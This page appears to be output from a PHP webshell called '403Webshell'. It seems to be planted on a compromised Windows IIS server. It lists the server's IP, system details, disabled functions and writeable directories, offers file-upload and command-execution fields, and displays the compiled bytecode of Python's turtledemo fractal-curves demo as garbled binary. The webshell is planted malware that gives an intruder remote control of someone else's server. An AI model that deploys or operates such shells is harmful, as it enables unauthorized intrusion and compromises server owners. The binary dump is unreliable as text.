403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.66
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python313/Lib/turtledemo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python313/Lib/turtledemo/__pycache__/fractalcurves.cpython-313.opt-1.pyc
�

��i��x�SrSSK7 SSKJrJr "SS\5rSr\	S:Xa\"5r
\"\
5 \"5 gg)	a turtle-example-suite:

        tdemo_fractalCurves.py

This program draws two fractal-curve-designs:
(1) A hilbert curve (in a box)
(2) A combination of Koch-curves.

The CurvesTurtle class and the fractal-curve-
methods are taken from the PythonCard example
scripts for turtle-graphics.
�)�*)�sleep�perf_counterc�&�\rSrSrSrSrSrSrg)�CurvesTurtle�c���US:XagURUS-5 URXS-
U*5 URU5 URUS-5 URXS-
U5 URU5 URXS-
U5 URUS-5 URU5 URXS-
U*5 URUS-5 g)Nr�Z�)�left�hilbert�forward�right)�self�size�level�paritys    �-C:\Python313\\Lib\turtledemo\fractalcurves.pyr
�CurvesTurtle.hilberts����A�:���	�	�&�2�+�����T�1�9�v�g�.����T���
�
�6�B�;�����T�1�9�f�-����T�����T�1�9�f�-��
�
�6�B�;�����T�����T�1�9�v�g�.�	
�	�	�&�2�+��c��SSKnSU-URURU-5-nUR5 UR	U5 UR5 UR
SSUS-
-U--
5 [U5H)nURXcU5 UR
SU-5 M+ URSSUS-
-U--
5 UR5 URU5 UR5 g)Nr��r
ih)�math�sin�pi�pu�fd�pd�rt�range�fractal�lt�bk)r�n�rad�lev�dirr�edge�is        r�
fractalgon�CurvesTurtle.fractalgon/s�����3�w����$�'�'�A�+�.�.�����	���������	�����r�Q��U�|�a�'�(�)��q��A��L�L��C�(��G�G�C�!�G���	
����r�Q��U�|�a�'�(�)����	���������	rc�t�US:aURU5 gURUS-US-
U5 URSU-5 URUS-US-
U5 URSU-5 URUS-US-
U5 URSU-5 URUS-US-
U5 g)Nr��<�x)rr"r#r )r�dist�depthr(s    rr"�CurvesTurtle.fractalBs����1�9��G�G�D�M�����T�A�X�u�q�y�#�.�����S������T�A�X�u�q�y�#�.�����c�	�����T�A�X�u�q�y�#�.�����S������T�A�X�u�q�y�#�.r�N)�__name__�
__module__�__qualname__�__firstlineno__r
r+r"�__static_attributes__r4rrrrs��
�2�&
/rrc���[5nUR5 URS5 UR5 UR	5RSS5 UR
5 SnURSU-SU-5 UR5 [5nURS5 UR5 URU5 URUSS5 URU5 [S5H.nURS5 URUS	US
---5 M0 UR
5 [S
5H%nURU5 UR!S5 M' UR5 [S5H.nURUSUS
---5 UR!S5 M0 UR#5 [5nS
XB-
-n[%S5 UR5 URS5 UR5 UR	5RSS5 [5nUR'SS5 UR5 UR)SSSS5 UR#5 UR5 UR'S5 UR)SSSS5 UR#5 [5nUSXB-
--
nU$)Nrr�i���i���redr.r
�@r��BzHilbert: %.2fsec. �black�blue������zKoch: %.2fsec.)r�reset�speed�ht�	getscreen�tracerr�setposr�clock�	fillcolor�
begin_fillrr
r!r#r �end_fillr�colorr+)�ftr�tar*�tb�ress      r�mainrTNs'��	��B��H�H�J��H�H�Q�K��E�E�G��L�L�N���!�A���E�E�G��D��I�I�c�$�h��D��!��E�E�G��w�B��L�L����M�M�O��E�E�$�K��J�J�t�Q����E�E�$�K�
�1�X��
���b�	�
���d�B�q��s�F�m����E�E�G�
�1�X��
���d��
���b�	���E�E�G�
�1�X��
���d�B�q��s�F�m��
���b�	���K�K�M��w�B��2�5�)�C�	�!�H��H�H�J��H�H�Q�K��E�E�G��L�L�N���!�A���w�B��H�H�W�f���M�M�O��M�M�!�S�!�Q���K�K�M��M�M�O��H�H�U�O��M�M�!�S�!�R� ��K�K�M��w�B�����&�&�C��Jr�__main__N)
�__doc__�turtle�timerrrK�PenrrTr5�msg�print�mainloopr4rr�<module>r]sG����-�;/�3�;/�z7�r�
��
�&�C�	�#�J��J�r

Youez - 2016 - github.com/yon3zu
LinuXploit